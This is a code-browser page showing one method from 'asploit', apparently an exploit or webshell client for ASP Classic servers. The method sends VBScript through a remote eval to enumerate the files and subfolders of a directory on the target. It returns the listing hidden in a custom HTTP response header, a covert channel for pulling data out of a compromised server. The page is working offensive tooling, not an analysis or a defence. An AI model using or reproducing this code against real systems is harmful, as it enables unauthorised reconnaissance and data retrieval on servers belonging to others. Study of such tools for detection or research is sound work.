MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__ls

Method _Base__ls

src/ASPClassicExploitProcessor.py:152–166  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

150 @brief See base class for details.
151 """
152 def _Base__ls(self, options: str):
153 res = self.__eval(
154 "Dim out: out = \"\":"
155 "Set fileSys = "
156 "Server.CreateObject(\"Scripting.FileSystemObject\"):"
157 f"Set directory = fileSys.GetFolder(\"{self.directory}\"):"
158 "For Each f in directory.Files:"
159 "out = out & f.Name & \" \":" # fence post
160 "Next:"
161 "For Each d in directory.SubFolders:"
162 "out = out & d.Name & \" \":" # fense post
163 "Next:"
164 f"Response.AddHeader \"{self.header}\", out:"
165 )
166 print(res)
167
168 """
169 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected